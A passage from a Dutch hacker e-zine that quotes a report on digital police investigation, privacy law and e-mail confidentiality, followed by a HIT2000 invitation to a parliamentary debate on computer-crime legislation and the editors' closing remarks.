bieden een onvoldoende repertoire voor opsporingsonderzoek in een
samenleving waarin digitalisering steeds verder doordringt in het dagelijks
leven.
We moeten hier niet alleen denken aan criminaliteit op internet. Digitale
activiteiten zijn al zo alledaags dat ook in klassieke criminaliteit
digitale opsporing nodig kan zijn. Wanneer en van waaruit nam de dader het
laatst geld op met zijn creditcard? Wanneer en door wie is het slachtoffer
het laatst on-line gezien? Met wie en van waaruit had de dader contact via
zijn mobiel? Wat staat er op de verzameling Cd's van het slachtoffer?
Wanneer gebruikte de dader het laatst zijn computer? Welke adressen heeft de
dader in zijn notebook?
Dat zijn zomaar een paar vragen die politiemensen in elke zaak kunnen
tegenkomen en die vereisen dat zij alert zijn op digitale sporen en weten
hoe daarmee om te gaan. Naarmate mensen zich vaker begeven in een digitale
wereld, zal de politie meer behoefte krijgen aan digitale varianten van
klassieke methoden: buurtonderzoek in een digitale stad, een verdachte
volgen op de digitale snelweg- ook bij klassieke moord en doodslag.
Zoals we reeds in ons voorwoord zeiden, gaat dit onderzoek over
criminaliteit die speciaal wordt gepleegd met informatie- en
communicatietechnologie. Dan is de noodzaak van digitale politiemethoden
evident. Maar dit ICT-accent is ons onderzoek mag niet doen vergeten dat ook
bij andere delicten steeds vaker sprake is van digitale activiteiten van
daders en slachtoffers en dat dus over de hele linie van politiewerk het
belang van digitale oriëntatie toeneemt.
5.4 Criminaliteit, ICT en privacy
In de discussie over criminaliteit, ICT en privacy verdient het aanbeveling
in enige mate helder te maken wat precies wordt verstaan onder het begrip
privacy. In de meest brede zin van het woord behelst privacy alles wat kan
worden gerelateerd aan een individueel persoon. Privacy is wel gedefinieerd
als 'het recht om met rust te worden gelaten', zowel door medeburgers,
bedrijven als door de overheid.
In artikel 10 van de Grondwet is privacy vertaald als 'het recht op
eerbiediging van de persoonlijke levenssfeer'. Daaraan gerelateerd zijn het
recht op onaantastbaarheid van het lichaam (artikel 11), het huisrecht
(artikel 12) en het brief-,telefoon- en telegraafgeheim (artikel 13).
Waneer wordt gesproken over privacy en ICT, kan het begrip privacy worden
onderverdeeld in grofweg drie categorieën:
-de bescherming van persoonsgegevens van een individu;
-de mate van kenbaarheid van een persoon bij het gebruik van ICT, en;
-de bescherming van (vertrouwelijke) communicatie van een persoon.
Met betrekking tot de bescherming van persoonsgegevens geeft de Grondwet in
artikel 10 aan, dat de wet hieromtrent regels stelt. Sinds de Wet
persoonsregistraties in 1988 zijn diverse wetten van kracht geworden, die in
meer of mindere mate de omgang met persoonsgegevens in het maatschappelijk
verkeer door overheid en particulieren regelenen. Voorbeelden hiervan zijn
de Wet politieregisters, de Wet gemeentelijke basisadministratie en de Wet
geneeskundige behandelovereenkomst.
Deze wetten regelen in welke gevallen welke persoonsgegevens door overheid
of particulieren mogen worden opgeslagen, verwerkt, verstrekt, gebruikt en
dienen te worden verwijderd of vernietigd. Aangezien de opslag van
persoonsgegevens tegenwoordig vrijwel overal plaatsvindt in (grote)
databases en dus onder invloed staan van (de ontwikkelingen in de) ICT, is
de mate van toegankelijkheid en de bescherming van deze, soms zeer gevoelige
gegevens, vaak voorwerp van discussie.
Met name hackers hebben zich vooral in hun beginjaren sterk gemaakt voor een
adequaat niveau van beveiliging van deze bestanden door overheid en
particulieren. De kenbaarheid van een persoon is door de opname in honderden
persoonsregistraties buitengewoon groot, en daarom dient met deze gegevens
op een correcte manier te worden omgegaan. Bij niet-toereikende
beveiligingen liggen de persoonsgegevens op (de digitale) straat.
De kenbaarheid van burgers komt niet alleen tot uiting in de mate waarin de
persoonsgegevens zijn opgeslagen in registraties, maar ook simpelweg in het
gebruik van ICT. Elke muisklik op internet laat digitale sporen na die
uiteindelijk herleidbaar zijn tot de computer waarachter de gebruiker heeft
gezeten. Een belangrijk kenmerk van digitale gegevens is dat ze zonder
kwaliteitsverlies razendsnel talloze malen kunnen worden gekopieerd en
gereproduceerd, en dat dat ook daadwerkelijk gebeurt. Ter verglijk: waneer
op een computer een Word-document wordt geopend, worden op het moment dat
het bestand geopend, op verschillende plaatsen van de harde schijf zestien
kopieën van dat bestand (tijdelijk) opgeslagen.
De argeloze surfer op het internet laat overal waar hij is geweest zijn
sporen na;
door gebruik van het TCP/IP-protocol (het protocol waarvan internet gebruik
maakt) is bij het bezoek van een website direct duidelijk van welke browser
iemand gebruik maakt en welke besturingssysteem op de computer van de
bezoeker is geïnstalleerd. Ook kan op deze manier het IP-adres (het unieke
identificatienummer van de houder van een internetaccount of van een
computer) worden achterhaald, waardoor een gebruiker is te herleiden tot
minstens de PC de hij gebruikt. Als regel kunnen ook zijn persoonlijke
gegevens worden achterhaald bij de provider. (dus dat kenteken wat ze
willen, is er eigenlijk al, en met IPv6 zal het moeilijker worden deze te
vervalsen -Gerrie-)
Met het hoge gebruik van ICT is ook de bescherming van (vertrouwelijke)
communicatie aan een herziening toe. Een discussie die nog steeds in
beweging is, is of de bescherming van het briefgeheim en het telefoon- en
telegraafgeheim ook toereikend zijn voor de bescherming van e-mailberichten.
Door een extensieve interpretatie van artikel 13 van de Grondwet kunnen
bepaalde nieuwe technieken wel onder de bescherming van dit grondwettelijke
recht worden gebracht, maar het maatschappelijke en economische belang van
communicatie via e-mail is inmiddels zo groot, dat artikel 13 onvoldoende
zekerheid biedt. Nadat een voorstel tot een algemeen recht op vertrouwelijke
communicatie, ongeacht de gebruikte techniek in zowel de Eerste als de
Tweede Kamer behoorlijk onder vuur heeft gelegen, is besloten tot het
instellen van een commissie 'Grondrechten in het digitale tijdperk', die de
regering dient te adviseren inzake de gevolgen van (nieuwe) ICT voor de
grondrecht. Communicatie via e-mail is qua systematiek vergelijkbaar met de
telefoon, maar heeft kenmerken van communicatie per brief, in die zin dat
e-mail net zoals bij post het geval is, een uitgestelde vorm van
communicatie is.
Door hackers, maar ook door providers is al diverse malen gepleit voor
wettelijke bescherming van e-mail om daarmee dit communicatie middel uit
zijn onduidelijke status te halen.
In het wetsvoorstel computercriminaliteit II krijgt e-mail, vooruitlopend op
een mogelijk nieuw artikel 13 van de Grond et, een wettelijke
(strafrechtelijke) bescherming.
Privacy zal voorlopig een discussiepunt blijven. Enerzijds moet de overheid
om haar controlerende taak uit te kunnen oefenen zicht te hebben op burgers.
Globaal zicht is dit niet genoeg.
Het gaat om zicht op individuen.
Zo moeten politie en justitie in het kader van de opsporing weten wie wie is
en wie wanneer wat gedaan heeft.
Dat brengt haar maatschappelijke opdracht met zich mee. Tegelijk moet
daarbij de -eveneens maatschappelijke- norm worden eerbiedig dat respect
hoort te worden opgebracht voor de persoonlijke integriteit van het individu
(Stol, 1996).
Criminaliteitsbestrijding bevindt zich aldus in een fundamenteel
maatschappelijk spanningsveld, dat zich openbaart in onze zorg over privacy.
De toename van informatie- en communicatietechnologie versterkt dat.
De nieuwe mogelijkheden van ICT geven burgers meer gelegenheid wetten te
overtreden en bieden tegelijk aan politie en justitie meer mogelijkheden om
burgers te 'monitoren'.
Kennis is macht;
Hogere straffen voor computercriminaliteit zal niets veiliger maken, kennis
wel...
Hopelijk dat jij ook zin hebt in een dagje parlement,
mvg,
namens HIT2000 crew
Gerrie Mansur
Organisator
btw: meer informatie over bezoek parlement tijdens behandeling Wet
Computercriminaliteit II zal in alt.hit2000.nl gepost worden.
Mijn antwoorden & uitspraken zijn geheel voor eigen rekening.
tel. 06-24119524
Fun & Secure
http://www.hit2000.org
Join our RC5 Team!
-------------------------------------------------------
13. Eindwoord
-------------------------------------------------------
Zowaar het 6e deel van hackers4hackers is een feit. Dit keer niet door
asby maar door bermuda aka berry da clown. Een probleem waar de redactie
nog steeds mee kampen is dat we meer lezers post krijgen dan artikelen.
Dus we hopen dat dit in de toekomst omgedraaid zal worden. Met de meeting
voor de deur hopen we zeker een boel mensen te kunnen spreken en ook
proberen om ideeën uit te laten wisselen. Misschien komen daar dan weer
artikelen vanaf. Ook zullen we kijken of we een soort van verslag van
4 maart kunnen plaatsen in het volgende deel. (Eerst nog iemand zoeken
die dat verslag wil gaan schrijven ;) Ook de website zal de komende tijd
flink verspijkerd worden.
We willen ook gaan kijken of de delen die in ons archief als zip, tar.gz en
of bzip bestanden op de site gezet gaan worden in plaats van de tekst files
die er nu staan. Spreek je mening uit over deze stelling op onze nieuwe poll
site op : http://www.hackers4hackers.org
(De redactie)
